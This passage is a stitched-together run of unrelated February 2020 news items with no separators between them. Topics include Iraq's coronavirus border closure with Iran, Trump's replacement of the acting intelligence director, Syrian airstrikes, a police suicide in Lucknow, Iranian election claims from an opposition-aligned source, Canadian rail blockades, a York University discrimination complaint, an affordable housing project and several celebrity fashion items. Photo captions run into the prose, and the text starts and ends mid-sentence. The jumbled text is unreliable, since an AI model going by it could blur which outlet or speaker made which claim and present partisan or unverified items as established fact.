ministry announcing people in Iran were barred from entering the country "until further notice". "Iranians are prohibited from entering (Iraq)," a senior official told AFP, adding that border crossings with Iran had been closed, with only returning Iraqis allowed to pass through. Those Iraqis would be examined and, if necessary, placed in quarantine for 14 days, the health ministry said. Iraqi nationals are also not allowed to travel to Iran, according to the ministry. The border closure followed a backlash against a Wednesday announcement of visa waivers for Iranian nationals wishing to travel to Iraq. Iraqis took to social media using the hashtag "close the border" and local officials called for a ban on the entry of goods and people. Iraqi airports were already screening travellers for the virus and national carrier Iraqi Airways has suspended flights to Iran. Iraq had previously issued a ban on the entry of Chinese nationals. In Kuwait, national carrier Kuwait Airways announced Thursday it would suspend all flights to Iran, while its ports will also be closed to passengers travelling to and from the country. Kuwaitis were advised not to travel to Qom, and were warned anyone arriving from the city they would be quarantined. - Social media storm - Social media networks have become fertile ground for fears among Iraqis who say the healthcare system -- battered by waves of conflict -- cannot accomodate a coronavirus outbreak. Hospitals are generally poorly equipped in terms of equipment and medicine, while some still require reconstruction and refurbishment. More than 20,000 doctors have left the country since the fall of Saddam Hussein in 2003, according to health professionals. There are less than 10 doctors for every 10,000 people, according to the World Health Organisation. Iraqis are circulating prayers on social media networks, while videos circulating online showed Iraqi and Iranian families lighting incense in their homes with the belief that it will prevent infection. Some said they were turning to herbalists for natural remedies, while others joked that alcohol consumption could combat the virus. Passengers wearing masks to protect against the new coronavirus are pictured at Basra airport in southern Iraq in late January Restaurant workers wear protective clothing as they prepare food to sell on the street outside their restaurant in Beijing this week U.S. President Donald Trump gestures as he holds a campaign rally in Colorado Spring - Reuters Donald Trump has dismissed a US intelligence assessment that Russia is meddling in the 2020 election to help his re-election as a Democrat "hoax", amid a row over a briefing with Congress last week. "Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa," the president tweeted, adding "Hoax number 7!" It comes after America's top election security official, Shelby Pierson, warned the House Intelligence Committee that the Kremlin was interfering in the 2020 presidential campaign to aid Mr Trump's re-election in a classified briefing on February 13. More than two dozen Democrats and Republicans sit on the committee, and the details of the briefing are thought to have been related to Mr Trump. The US president was furious with his acting director of national intelligence (DNI), Joseph Maguire, and his aides for speaking to Congress and accused them of being "disloyal", according to the Washington Post. Joseph Maguire was replaced by Donald Trump - AP White House sources suggested the briefing effectively thwarted Mr Maguire's chances of filling the role permanently. Mr Trump was impeached in December over accusations that he coerced ally Ukraine into helping him cheat in the 2020 election, withholding military aid considered vital to the former Soviet republic in its war with Russia. Since he was acquitted by the Republican-led Senate, an emboldened Mr Trump has been purging the Justice Department, National Security Council and Pentagon of staff he considers disloyal. Casualties have included NSC staffer Lieutenant Colonel Alex Vindman and EU ambassador Gordon Sondland - both key witnesses in the impeachment inquiry - Vindman's twin brother, an NSC lawyer who wasn't involved, and Pentagon policy chief John Rood. The president announced on Wednesday that he was replacing Mr Maguire with Richard Grenell, who is the US ambassador to Germany and a vocal Trump loyalist. Story continues Richard Grenell has no relevant background or top-level management experience - AFP Some members of the intelligence community have expressed disquiet over the announcement, as the DNI oversees all of America's intelligence agencies and is usually filled by someone with intelligence gathering or military experience. Mr Grenell, 53, has a background in communications, with no relevant intelligence or top-level management experience. He has also previously cast doubt on the extent of Russia's election interference efforts, saying that Moscow's activities were nothing new. In a statement announcing the move, the White House said: "He is committed to a non-political, non-partisan approach as head of the Intelligence Community, on which our safety and security depend.'' Newsletter embed Crossfire - A Telegraph Podcast A podcast revealing the untold story of Britain's role in the Trump-Russia scandal. Spies, lies and an election like no other. Listen Senator Ron Wyden, a Democrat on the intelligence committee, accused Mr Trump of prioritising "unquestioning obedience over the safety of the American people." Mr Trump has declined to hire a permanent replacement for Dan Coats, who stepped down as the DNI in August 2019 after standing firm on the intelligence community's conclusion that Russia interfered in 2016 to back Trump over Hillary Clinton. Mr Trump has said he will name a permanent director, which requires a confirmation vote in the US senate, at a later date. The president initially told reporters earlier this week that he was considering Republican Doug Collins as his permanent director of national intelligence, but the congressman said he was not interested in the post. Mr Trump later tweeted: Four great candidates are under consideration at DNI, without naming Mr Collins. Decision within next few weeks! Russian airstrikes have hit and destroyed a number of vehicles belonging to Turkish-back militants reports Al-Masdar. The Russian Air Force destroyed over ten vehicles belonging to Turkish-backed militants in northern Syria on Thursday, Moscow announced around 4:00 P.M. (Damascus Time). According to the Russian Ministry of Defense, their air force destroyed one militant tank, six armored vehicles, and five other vehicles during their attack in the Syrian governorate of Idleb on Thursday. This latest claim comes parallel to the Turkish-backed militants, alongside allied jihadists, attempts to capture the town of Nayrab in the Idleb countryside. The first wave of the attack was reportedly repulsed by the Syrian Arab Army; however, the Turkish-backed militants are attacking once again and attempting to enter the town from its eastern axis. This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. LUCKNOW A UP Police constable allegedly shot himself dead with his service pistol at his residence in Police Lines here on Friday evening. He was in the security of a high court judge, said AK Singh, SHO, Mahanagar. His wife, who is also a constable and posted in Lucknow, was in the kitchen when he shot himself with the service pistol, he added. The pistol has been recovered along with a shell, he added. We have sent the body for a post-mortem examination, he said, adding, No suicide note has been recovered from the house. So far, we could not ascertain the motive behind the extreme step, said the SHO. Rouhani said: Everyone must participate in the election. No one should say because their friends or fellow party members were disqualified, they will not participate If we want to stand up to America, we must vote Our presence will disappoint America and our absence will make America happy. While Ashena claimed that not voting would lead to an increase in sanctions, the chances of a military assault, and the activities of the Iranian Resistance. Khamenei had previously said: Election is a popular jihad; strengthens the country, and safeguards the systems legitimacy. Presence in the election and voting is a religious duty, a religious edict. It is not simply a nationalistic and revolutionary duty. Whoever likes the system must take part in the election. The boycott sentiment is so large that the regime factions are speculating that 85% will not vote this year, while the people had made their feelings about the election clear. Theyve burned regime posters in the streets, scrawled anti-regime graffiti on the walls, and even destroyed a number of candidates election headquarters, despite the risk of arrest and execution. Of course, it is strange to hear the regime talk about the importance of these elections when just days ago Rouhani called them selections after learning that the vast majority of his candidates, including 90 sitting MPs, were disqualified in an attempt by Supreme Leader Ali Khamenei to consolidate power. It is weirder still when the regime has admitted to large-scale cheating in the elections. On January 27, Rouhani said that the regime often runs into problems when they want to compile the votes, while his first deputy Eshaq Jahangiri admitted on February 16 that people often vote with fake IDs, those from dead people, and at several polling stations with the same ID. One day later, Irans state TV reported politicians buying votes, engineering the ballots, and bussing people to polling stations. No wonder Guardian Council Spokesman Abbas Ali Kadkhodai is still predicting a 50% turnout. Shahin Gobadi of the Foreign Affairs Committee of the National Council of Resistance of Iran (NCRI), said: It is [becoming] evident that the regime has to engage in even more exaggeration than before to show a high turnout. The Secretariat of the NCRI reported that Khamenei has told the put all suppressive agents on red alert to oversee the voting in polling stations because he fears an uprising. Read More: Iranians Refuse to Vote in Elections Acting White House Chief of Staff Mick Mulvaney told a crowd in Oxford, England this week that the U.S. is actually 'desperate' for more immigrants to come to work in the country. 'We are desperate - desperate - for more people,' Mulvaney told an audience at the Oxford Union, of which an audio recording was obtained by The Washington Post. 'We are running out of people to fuel the economic growth that we've had in our nation over the last four years. We need more immigrants.' Mulvaney's comments were in stark contrast to some of the rhetoric used by his boss, with President Trump saying during a southern border visit last April that, 'Our country is full.' At Oxford Union, acting White House Chief of Staff Mick Mulvaney said the United States is 'desperate' for more immigrants to fuel the American economy President Trump has expressed anti-immigrant sentiment since day one of his 2016 presidential campaign, though his chief of staff said in England this week that the U.S. actually wants legal immigrants Though Mulvaney made sure to impress upon the audience that he was talking about immigrants coming to the U.S. legally. He said that despite the president seeming to be 'anti-immigrant,' the Trump administration, in reality, wanted more foreign workers. Mulvaney said the U.S. wants an immigration system more similar to Canada and Australia. 'We are very interested in expanding that,' Mulvaney said, according to The Post. Mick Mulvaney sounded a different tune than his boss, President Trump, when talking about immigrants on a recent trip to England Candidate Donald Trump opened his presidential campaign by dissing illegal Mexican immigrants. 'They're bringing drugs, they're bringing crime. They're rapists. And some, I assume, are good people,' the now-president said moments after his famous escalator ride where he announced his 2016 run. And he really hasn't let up. In April 2019 he said there was an 'emergency' on the southern border. 'It's a colossal surge and it's overwhelming our immigration system, and we can't let that happen,' Trump said at the time. 'We can't take you anymore. We can't take you. Our country is full.' Policies pushed by the White House's Stephen Miller have certainly gone after illegal immigration, but he's tried to limit legal immigration too, including pushing for a rule that would bar immigrants who use public assistance from getting green cards. Frederic Vasseur says he is confident team backer Alfa Romeo is not about to pull out of Formula 1. The current contract runs out late this year, and there have been rumours that the project - the brainchild of late Ferrari president Sergio Marchionne - will be axed. But Vasseur, in charge of the team formerly known as Sauber, is upbeat. "When we started the partnership with Alfa Romeo, it was clear to both sides that this was for the long term," he is quoted by Speed Week. For now, the Swiss-based team's focus is on having a better season than 2019. "I see Alfa Romeo-Sauber as a racing team in growth," Vasseur said. "We took a nice step forward in 2018, now we want to repeat that in 2020 and further reduce the gap to the top." (GMM) Source: Xinhua| 2020-02-21 00:31:30|Editor: Mu Xuequan Video Player Close WUHAN, Feb. 20 (Xinhua) -- Chinese mainland authority on Thursday urged the Democratic Progressive Party (DPP) administration in Taiwan to allow the mainland's chartered flights to send nearly 1,000 Taiwan compatriots in Hubei Province back home. The DPP administration should take the Taiwan compatriots' appeal into serious consideration and approve the chartered flight plan of China Eastern Airlines as soon as possible, said an official with the cross-Strait affairs office of Hubei Province. Among the Taiwan compatriots who are staying in Hubei due to the outbreak of COVID-19 epidemic, nearly 400 are under the age of 18 or elderly aged 60 or above, and nearly 80 have chronic diseases. They are all eager to return to work, go back to school or seek medical treatment, the official said, adding that nearly 85 percent of them came to Hubei before the epidemic only for short visits. They have had to stay in Hubei for more than half a month due to obstructions made by the DPP administration on planned chartered flights of China Eastern Airlines, though the first such flight sent 247 people to Taiwan on Feb. 3. After being quarantined for over 14 days, none of them have been found to suffer COVID-19, the official said. Two Taiwan compatriots who were previously confirmed as COVID-19 patients in Hubei have been discharged from hospital after recovery, the official said. The cross-Strait affairs authorities at various levels in Hubei have constantly kept the Taiwan compatriots informed on epidemic prevention and control information and assisted them in epidemic prevention and daily life, said the official. She recently enjoyed a romantic Valentine's Day trip to Mexico with boyfriend Christian McCaffrey. Yet Olivia Culpo was back to work as usual on Friday as she stepped out in Milan among the stars at the Tod's show in the midst of fashion week. The model, 27, looked sensational in a striking tan ensemble complete with a trench coat, cut-out shirt and trousers as she upped the glamour. Wow: Yet Olivia Culpo was back to work as usual on Friday as she stepped out in Milan among the stars at the Tod's show in the midst of fashion week Olivia looked stunning in the tan three-piece which was perfect matched to her Tod's handbag and her sky-high pointed heels. She slicked her brunette tresses off her face in an elegant chignon while ensuring her make-up was dewy and stunning for the trip. The brunette beauty was quite the trend setter at the bash as she was joined by a legion of fellow stars in the same brown palette. The City star - and fellow Olivia - Olivia Palermo looked stunning as she stepped out in a typically-chic ensemble complete with jeans and a leather jacket. Leather lady: The model, 27, looked sensational in a striking tan ensemble complete with a trench coat, cut-out shirt and trousers as she upped the glamour Tan-tastic: She looked stunning as she emerged in the chic ensemble Czech model Karolina Kurkova went for tan leather trousers with a crisp white shirt while also wearing her blonde locks loose over her shoulders. Carolyn Murphy looked elegant in a black coat layered over a monochrome dress. Another fashionista came in Clara Berry who sported an extremely bold look complete with an oversized white getup and graffiti all over. Olivia's appearance comes after she recently took a romantic Valentine's Day trip to Mexico with boyfriend Christian McCaffrey. Strutting her stuff: Fashionista Olivia Palermo looked incredible in a tan leather jacket with light coloured jeans and silver loafers Oh my! She wore metallic shoes for a spiffy touch to the bold look Monochrome madness: Lady Kitty Spencer wore an elegant black and white ensemble made of leather and given an edge with clashing red heels Wow: Czech model Karolina Kurkova went for tan leather trousers with a crisp white shirt while also wearing her blonde locks loose over her shoulders A vision: Carolyn Murphy looked elegant in a black coat layered over a monochrome dress. She jetted straight from their romantic getaway to Milan, Italy, for Fashion Week and took a private jet complete with her gifted teddy bear. The star took to Instagram with photos from the plane, which she captioned: 'Snug life.' She donned a sexy little black satin dress as she cuddled up to one bear, while another that was about as tall as her was buckled up in the other seat. Olivia also took to her story with a comical video of herself stepping off the plane, her hands full with both bears. Milan Fashion Week kicked off on Tuesday and will run until Monday 24 February. A vision: Another fashionista came in Clara Berry who sported an extremely bold look complete with an oversized white getup and graffiti all over Brown out: Coco Rocha looked incredible in a double-breasted trench Glamming it up: Angelica Russo and Gabriele Muccino looked chic Bold look: Kaia Gerber led the models with Bella Hadid at Tod's runway show on Friday during Milan Fashion Week (L-R) MONTREAL - A rail blockade in eastern Ontario has led to backlogs at Canadas three biggest ports, prompting some shippers to take their business elsewhere as cargo piles up and dockworkers paycheques shrink. Now in its third week, the protest along Canadian National Railway tracks east of Belleville, Ont., has halted CNs eastern network about one-quarter of its operations and choked shipments from coast to coast. Atlantic Container Line (ACL), a major U.S. shipping line, is diverting from the Port of Halifax in favour of U.S. harbours. The company, which typically berths two ships a week, is now docking in New York and Baltimore to run cargo inland on American railroads, chief executive Andrew Abbott said. Its our gateway port for North America. So if you take out the rail, it knocks out 90 per cent of the cargo that we were putting on the ship, said Abbott, whose company has been calling on the Halifax port for more than 50 years. Its commercial damage to Canadian manufacturers. Its financial damage to the guys who are bringing in French wine and cheese or Walkers butter cookies, because theyre not going on the shelves, Abbott said. Everybodys paying a piece. The blockade disrupts business for everyone from stevedores to truckers, packers, importers, exporters and the ports and railways themselves. Halifax longshoremen are also working and earning less, as more than 60 per cent of freight that passes through the port is bound for trains that can no longer be loaded, port authority spokesman Lane Farguson said. It is certainly a challenging situation for everyone involved. In Montreal, some 4,000 containers sit immobilized on the docks and Prairie bulk products like grain can no longer reach the port. We are obviously concerned about this situation, which has significant impacts on the economy and the transport logistics chain serving the port, spokeswoman Melanie Nadeau said in an email. Meanwhile, the number of ships waiting at anchor to enter Vancouver-area terminals has more than doubled to 50 due to the clogged transportation system, though no vessels are opting for U.S. ports as a result, said Vancouver Fraser Port Authority spokeswoman Melanie Nadeau. Nearly two weeks ago, protesters barred road access to Canadas biggest freight hub for several days, one of many pop-up blockades at ports, rail lines and roads across the country. CN closed its critical eastern network eight days ago after protesters set up a blockade in Tyendinaga Mohawk Territory on Feb. 6 in support of Wetsuweten hereditary chiefs who oppose a natural gas pipeline slated to pass through their traditional lands in British Columbia. The Quebec government launched a contingency plan Tuesday that requires all 63 suppliers in the province to ration propane. About 80 per cent of it typically arrives via tank car. The rail shutdown is rippling out to other sectors. Superior Propane, Canadas largest supplier of the fuel, said the situation is getting dire as it begins to ration distribution in Atlantic Canada over concerns that hospitals, nursing homes and households could run out of their primary heat source. This is a crisis that is unfolding. Unfortunately if it goes on many more days it will be very difficult for the propane industry to recover quickly enough to keep people in supply, chief executive Greg McCamus said in a phone interview. Ive been in this industry for 35 years. Ive never seen a situation like this one in the past, said Raymond Gouron, head of Quebecs propane association. The rail closure has squeezed the supply chain, triggering truck lineups as long as 10 hours for propane in Sarnia, Ont., according to Canadian Propane Association CEO Nathalie St-Pierre. The blockades also hinder west-to-east flow of household items from produce to plywood, Band-Aids and canola oil, and raise the cost of others, said Retail Council of Canada spokesman Karl Littler. In terms of the mass carried, rail is far more efficient. So youve got potential price impacts if everything that was formerly moved by rail is moved by truck a sector already facing a severe shortage of drivers. The effects are likely to be felt more keenly in smaller cities and towns, particularly in Eastern Canada, he said. Were not talking about some Soviet store where youve got two cans of gherkin, Littler added. But a lot of items are stuck 6,000 kilometres away in Vancouver. The broader impact on the economy may only amount to a hit of 0.2 percentage points to quarterly GDP growth, said RBC economist Nathan Janzen likely in the tens of millions of dollars. But the ripple effects are being felt acutely by some in the rail and manufacturing sectors. On Wednesday, Via Rail announced temporary layoffs for 1,000 employees as its Montreal-Toronto, Ottawa-Toronto and Montreal-Quebec City routes remain suspended indefinitely. The company said Friday evening that it planned to resume traffic on its Montreal-Ottawa route starting Saturday. Earlier this week, CN temporarily laid off about 450 workers from its operations in Eastern Canada after cancelling more than 400 trains since protests arose. Major carriers are monitoring the blockades closely. German shipping giant Hapag-Lloyd continues to call on the Halifax port, but is reviewing the situation with a view to potentially omitting or rerouting vessels, said spokesman Tim Seifert. The crisis is stranding an estimated $425 million in goods every day, according to the Canadian Manufacturers and Exporters trade group. Quebec Premier Francois Legault said Friday that the disruption is costing the province about $100 million a day, in spite of RBCs much lower estimate. CN alone is facing a roughly $50-million dent to earnings due to the blockades, CIBC analyst Kevin Chiang inferred from the impact of the CN rail strike last November. This report by The Canadian Press was first published Feb. 21, 2020. Companies in this story: (TSX:CNR) A York University professor has taken the university and six of its employees to the Human Rights Tribunal of Ontario, alleging discrimination and harassment based on race and disability, and reprisals for speaking out against his treatment in what he describes as a four-year-long ordeal. In two complaints filed at the tribunal, in June 2018 and in November 2019, Aime Avolonto, an associate professor in the Department of French Studies at Glendon College, accuses York University of creating and perpetuating the discriminatory culture and practices and creating a poisoned and toxic environment. He alleges that the mistreatment he received was systemic as well as interpersonal. To be clear, he writes in his claim, the mistreatment is ongoing in nature and continues to this day. There have been no mediations or hearings on the complaints, according to the tribunal. York University takes complaints of harassment and discrimination seriously, Yanni Dagonas, acting chief spokesperson for York University told the Star in an email. An independent external investigator has been retained to conduct a full investigation regarding the matters of which you are inquiring. York University cannot comment on the specifics of complaints that are currently under investigation. The university sought a deferral on the first complaint, telling the tribunal in a letter that the allegations remain part of an ongoing full-blown investigation being conducted by a neutral third party. The human rights tribunal denied this request in March 2019. No responses to either complaint have been filed yet. Avolonto has been on the York University faculty since 2004, the only Black man among the full-time faculty in his department. He was also elected chair of the department in 2014 and re-elected in 2016 for a stint that was to end in June 2020. Instead, he says he has been on a paid leave of absence from the university for more than a year, told to vacate his position as chair, and has no teaching assignments. York confirmed he is currently on a paid leave of absence. I would not like to comment at the moment, Avolonto told the Star. Based on the documents filed at the tribunal, Avolontos first complaint against the university and six staff members paints a picture of a Black man in a leadership position at York University facing serious retaliation that began, he says, after the university did not handle an initial allegation against him sensitively and instead allowed the situation to escalate into a crisis that drew in more and more people. York Universitys actions, he alleges, fed rumours about him and reinforced the negative stereotype that I was the transgressor and also reinforced that the mostly white staff members he named in his complaint were blameless victims that needed to be protected from me. Avolontos second complaint is against the university alone and focuses on the neutral third-party investigation that he says he himself had sought. How it began According to the complaint, it all began in May 2016, when Donald Ipperciel, then the principal of Glendon College, told Avolonto an assistant professor, Marie-Elaine Lebel, had filed a formal complaint against him. For almost three months, Avolonto tried to find out what the allegations against him were, he says in his complaint to the tribunal. He lists his interactions with Lebel in the months prior: One was a meeting in January 2016 that he described as conspicuously unremarkable, another was a text exchange about a cancelled lunch plan in February 2016. He could remember no other contact in that period, he says. Even before he found out what the allegations were, he says, other senior staff who should not have been privy to the complaint referred to it in an attempt to exclude him from participating in committees he had previously been part of. When Avolonto finally received a copy of the complaint in August 2016, he says, he found that Lebel characterized a number of unremarkable, benign and otherwise normal interactions between her and me in a misleading manner that suggested I was a sexual predator, aggressive, threatening, intimidating and violent, and I possessed little, if any, self-control. He says when he went to the principal to discuss his response to the allegations, Ipperciel asked him to consider what steps he could take to modify his behaviour even before reading his response. At no point, he says, did the principal tell him he had asked the complainant to also self-reflect. I was taken aback, Avolonto writes in his complaint, It was clear to me that he had pre-judged the situation. Ipperciel, who is now Yorks chief information officer, did not respond to the Stars email. York Universitys Dagonas said the universitys statement represented the university and its senior staff, including Ipperciel and assistant principal Ian Roberge. According to Avolontos complaint, York University conducted an internal investigation and in September 2016, found Lebels allegations against him were not substantiated. York denied this. The investigation is ongoing, and no part of the investigation has been found unsubstantiated, Yorks Dagonas said. We expect a report, containing the findings of the investigation will be submitted to York as soon as possible. York cannot comment further on matters under investigation nor on proceedings before the human rights tribunal. That fall in 2016, despite the rumours swirling around him, Avolontos colleagues at Glendon re-elected him as chair of the Department of French Studies for a three-year term. However, almost six months later, in March 2017, Avolonto says he discovered during an open house that the principal had still implemented remedial measures that included physically separating him and Lebel, rooted in the belief that she required protection from me. Avolonto did not know about this, but other staff did, he says. At the open house, he writes, each academic department was to set up and staff a table in a large room for prospective students and parents to get information. Lebel, he says, made a public request to set up her table outside of the large meeting room where everyone else was setting up. This was accommodated, he says. Since the complaint I made against Prof. Avolonto is still under investigation and subject to litigation, Im unable to comment for the moment, Lebel told the Star via email. Lebel has still to file a response to Avolontos complaint, the tribunal confirmed. It was customary at that open house for the chair of the Department of French studies to deliver a welcome speech. But, he says, assistant principal Ian Roberge told him, without providing me with any advance notice or any reasonable explanation, Avolonto would not be speaking. A past chair would be delivering the speech instead. Roberge, now the interim principal at Glendon College, did not respond to the Stars questions. Other complaints According to Avolontos complaint to the tribunal, other tensions cropped up in that period. For instance, in January 2017, he says, Ipperciel and Roberge told him students had been complaining about him for two months, that some of them were in tears, some had clearly experienced extreme emotional distress because he had harassed them and there was a petition against him signed by 28 students. But during a meeting he had with Ipperciel and Roberge with his union representative present, Avolonto says in his complaint, there was little evidence provided of these student complaints and no explanation for why York University had not intervened to protect the students given the allegations. At the time of his complaint to the tribunal in June 2018, he had still to see that petition, he says. Hiring of a Black professor Also in March 2017, the same month as the experiences Avolonto alleges around the open house, a routine situation around the hiring of an assistant professor turned into a debacle. The university had a five-member hiring committee, with Avolonto the only Black person in it, he says. There were three candidates including a Black woman short-listed for the faculty position. In his complaint, Avolonto says four associate professors who were not on the committee had openly and aggressively attempted to dissuade the committee from hiring the Black female candidate, including by threatening to convene a review of the hiring process. The hiring committee ultimately found the Black woman best suited for the job and made a unanimous recommendation to the principal that she get the job, he says. The final decision was the principals, and Ipperciel offered it to her. Still, Avolonto says, the four professors who were not part of the committee attempted to hold Avolonto accountable for her hiring. I was no less or more responsible for the recommendation than any of the other four committee members. The assumption was that the new professor was less qualified and that Avolonto was championing her application because they were both Black, he says. A water fountain incident Avolonto describes another incident that same month, March 2017, when Ipperciel told him a student had complained about how he used a water fountain, he says. The unnamed student reportedly told him that I had washed my hands in the water fountain, he says in the complaint. He says he was taken aback not only that a student might monitor his use of a fountain but that a principal would deem it important enough to raise it as a complaint, particularly given the history of segregated water fountains. He knew and ought to have known that I would feel as if my activities were being monitored and subjected to a higher level of scrutiny than colleagues who were not Black, he says. More consequences By June 2017, Avolonto says in his complaint, rumours about me having engaged in various forms of misconduct and inappropriate behaviour had become commonplace and had spread throughout Glendon College. I felt powerless to rebut them. That month, a group of about 29 students rallied to my defence, he writes, and wrote a letter to the principal defending Avolonto. That was also the month York University asked him to step down from his re-elected position as chair of the Department of French Studies, he says. In doing so, the university treated him differently from other department chairs and gave credence and lent legitimacy to staff members campaigning to remove him from his position, he says. The university thus became complicit in the harassment, discrimination and reprisal action, he alleges in the complaint. Avolonto says he raised a number of race- and reprisal-based human rights concerns against several individuals in positions of authority. When I raised human rights concerns, he says, the university gave the benefit of the doubt to the employees I accused, and even promoted some of them. In contrast, he says, when non-Black employees complained about him, the university swiftly rushed to judgment without conducting an investigation, and implemented measures that led to the diminution of my responsibilities, authority and scope of influence. The third-party investigation In his second complaint to the tribunal in November 2019, Avolonto names York University alone as the defendant and raises concerns about the conduct of the neutral third-party investigator Roger Beaudry, whom York University retained, and accuses the university of failing to accommodate Avolontos disability-related needs. Avolontos complaint cites a letter by another professor who said she was withdrawing from the investigation because she found the process biased. In the letter that is quoted from in his complaint, that other professor is cited as saying the neutral third-party investigator had a restricted understanding of what racism is, that he attempted several times to summarize my testimony in a way that supported the theory that Professor Aime Avolonto was the main source of my problems in the department, that he showed very little interest in concerns she raised about the unfair treatment Avolonto received. Beaudry told the Star he was not at liberty to comment on any workplace investigation I am currently conducting or have conducted citing confidentiality of neutral workplace investigation processes. The confidentiality exists in part to protect victims of harassment and discrimination, he said by email. He said he and his colleagues had decades of legal experience dealing with cases of harassment and discrimination and counted among their clients the Canadian and Ontario human rights commissions. Avolonto says the investigation process left him suffering from anxiety and depression and a dangerous rise in blood pressure, according to a doctors note he reproduces in the complaint. He says despite notes from doctors that he not meet this investigator, the university asked him to undergo an independent medical examination. It did not give him the report of that exam. He says the university did offer accommodations such as answering the questions in writing or having someone with him during the interview process but writes that the mere thought of an interview with the investigator made me feel nauseated and anxious. Avolonto says that by the time of his complaint to the tribunal in November 2019, the university had not shown any evidence that it would experience undue hardship if it changed the investigator. The universitys complaint investigation procedures afford parties with an opportunity to provide information relevant to the complaints and comment on the draft investigation report before the final report is issued, Yorks statement to the Star said. York will provide reasonable accommodations as necessary to allow a party to participate in an investigation. Avolonto urges the tribunal to find the university and the employees he names jointly responsible for violating the provinces human rights code in their treatment of him. I have experienced intense feelings of stigmatization, embarrassment, anxiety, fear, powerlessness, humiliation and isolation, he writes in the complaint. He is seeking compensation for lost wages in each complaint and compensation for the violation of his human rights for $200,000 in the first complaint and $150,000 in the second complaint. A vacant 33,000 square foot lot located at 800 South 5 th Avenue, once owned by the Village of Maywood, is the site for the new development. The adjacent 5 th Avenue corridor is a pedestrian-oriented commercial corridor in the Village, allowing future tenants easy access to transit, education, and retail. The building will be comprised of studio, one-, two- and three-bedroom residential units along with interior and exterior shared community spaces for resident use. It also includes approximately 5,500 square feet of retail space on the ground floor, currently slated for development into a grocery store, addressing the lack of this amenity in the area. Residential parking will be provided off the alley behind the new building, with commercial parking provided along 5 th Avenue. New diagonal parking will also be added on surrounding streets to help accommodate additional residential guests and commercial users as well. "This historically-underserved part of metro Chicago has proven a strong need for quality affordable housing, and we are thrilled to have this project ploughing ahead to meet that need," said Perry Vietti, the President of Interfaith Housing. "This development has been specifically designed to serve working families and individuals and some special needs populations. Slated for opening in early 2021, we could not be more thrilled to now have this important community resource coming out of the ground." Maintaining its affordability status for a minimum of forty years, the five-story development will provide affordable housing for households at or below 60 percent of area median income (AMI). Sixteen of the units are designated for households at or below 30% AMI; twenty-eight units are for households at or below 50% AMI; and twenty-eight units will support households at or below 60% AMI. Nineteen of these units will be targeted to special needs populations, including 8 units set aside for homeless veterans and 11 units for tenants selected from the Illinois State Referral Network. According to Toni Preckwinkle, the President of the Cook County Board, "Investment in affordable housing is critical to communities throughout Cook County. Half of the residents of Cook County are rent burdened, which means they pay more than 30 percent of their income in rent. With rental prices rising and gentrification moving in Chicago, it's more important than ever to recognize that housing is a human right." The development has been designed by national integrated architecture and engineering firm, HED, and is being constructed by Chicago-based McShane Construction Company. The IHDC development team established early in the project a desire to achieve high levels of environmental sustainability, in an effort to best serve its resident population health as well as that of the surrounding neighborhood. In 2018, Fifth Avenue Apartments was one of only a dozen projects nationwide, and the only one in Illinois, to be selected to participate in the International Living Future Institute's (ILFI) third round of the Living Building Challenge Affordable Housing Pilot Project program. "As a project selected for the Living Building Challenge's affordable housing pilot program, we have enjoyed developing this design alongside this important sustainability advocacy platform, identifying the current challenges of pursuing this extreme green approach to design in the State of Illinois," said Susan King, Principal in Charge with HED. "While the project could not feasibly achieve the current certification expectations, IHDC's participation in this pilot effort will ultimately benefit countless affordable housing projects around the country in the future as the research continues to develop." Additional project team members supporting the design and development of the Fifth Avenue Apartments project include SITE Design for landscape architecture, and Ericksson Engineering for civil engineering. Property management will be provided by Interfaith Management Services, an affiliate of Interfaith Housing Development Corporation, that currently manages the 12 affordable developments that Interfaith owns. ABOUT INTERFAITH HOUSING DEVELOPMENT CORPORATION IHDC's mission is to develop long term affordable housing for low-income, underserved populations in collaboration with local communities. As a nonprofit 501(c)3, IHDC develops high-quality, financially and environmentally sustainable, affordable housing for low-income individuals and families with supportive services as a foundational strategy. In its 25-year history, IHDC has created 17 affordable housing developments that ranged in size from 15 to 135 units, in total, generating 768 permanent supportive housing units and 75 transitional units to-date. To learn more please visit www.ihdc.org. ABOUT HED HED seeks creative solutions that have a positive impact for its clients, the community, and the world. HED has earned a reputation for excellence in all facets of the designed and built environment, including architecture, consulting, engineering, and planning services. The firm of over 470 staff serves clients in a broad range of markets from eight U.S. offices (Boston, Chicago, Dallas, Detroit, Los Angeles, San Diego, San Francisco, and Sacramento). See how HED advances your world at www.hed.design. ABOUT MCSHANE CONSTRUCTION COMPANY McShane Construction Company was established in 1984 and is headquartered in Rosemont, Illinois with regional offices in Auburn, Alabama, Irvine, California, Madison, Wisconsin and Phoenix, Arizona. The firm offers integrated design/build and build-to-suit construction services for the multi-family, retail, office, recreational, hospitality, educational, healthcare, distribution, manufacturing and food processing markets. For more information, visit the firm's website at www.mcshane-construction.com. Media contact: Emily Havelka, [email protected] SOURCE Interfaith Housing Development Corporation Related Links http://www.ihdc.org New York Fashion Week known for its exclusive events that showcase designs for the upcoming fall/winter season. However, some of the most exciting fashions are spotted off the runways. Here's is what Hailliote Sumney wore to New York Fashion Week events, from monochromatic outfits and stunning sheer ensembles to metallic and animal-printed dress. On the runaway of the New York Fashion Show Hailliote Sumney wore a VanVorsh, a well known fashion brand famous for its designs, blend of afro eccentric kaleidoscope and eclectic forms of Avant Garde. Utilizing origami construction in African fabrics such as Ghanas famous GTP and Vlisco with a fusion of European influence brings about the intricateness of dramatic fashion. This is evident in the true recognition of targeted sales globally to achieve consumer success in this rag trade. Hailliote Sumney is a Canadian born Ghanaian actress, brand influencer and TV personality. She has interviewed celebs such as actor Boris Kodjoe, Michael Blackson, Becca, Stonebwoy and others. She is the female brand ambassador for London-based shoe brand, Jesu Segun alongside Stonebwoy, who is the male ambassador. In 2019 she was selected as the host for 4Syte TV's BET Awards red carpet. View this post on Instagram ' @senakhaircollections #valentinesday2020 A post shared by (@hailliesumneyofficial) on Feb 14, 2020 at 12:58pm PST Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Wyoming Business Tips for Feb. 24-March 1 A weekly look at issues facing Wyoming business owners and entrepreneurs from the Wyoming Small Business Development Center (SBDC) Network, a collection of business assistance programs at the University of Wyoming. By Jake Dixon, marketing manager, Wyoming SBDC Network Small businesses in 